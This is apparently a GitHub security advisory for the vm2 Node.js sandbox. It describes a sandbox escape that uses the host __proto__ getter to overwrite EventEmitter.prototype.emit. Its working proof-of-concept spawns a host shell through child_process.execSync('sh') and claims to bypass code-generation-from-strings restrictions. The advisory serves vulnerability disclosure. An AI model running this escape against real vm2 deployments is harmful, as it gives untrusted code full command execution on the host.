GHSA-88hf-g992-jg85

Summary

It being possible to obtain the host __proto__ getter/setter, has been used in many reports:

• https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
• https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
• https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
• https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console._stdout/console._stderr is:

_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
	console.log(p.constructor.name);
	p = gP.call(p);
};

p.emit = function(){
	console.log(this+[]);
	this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);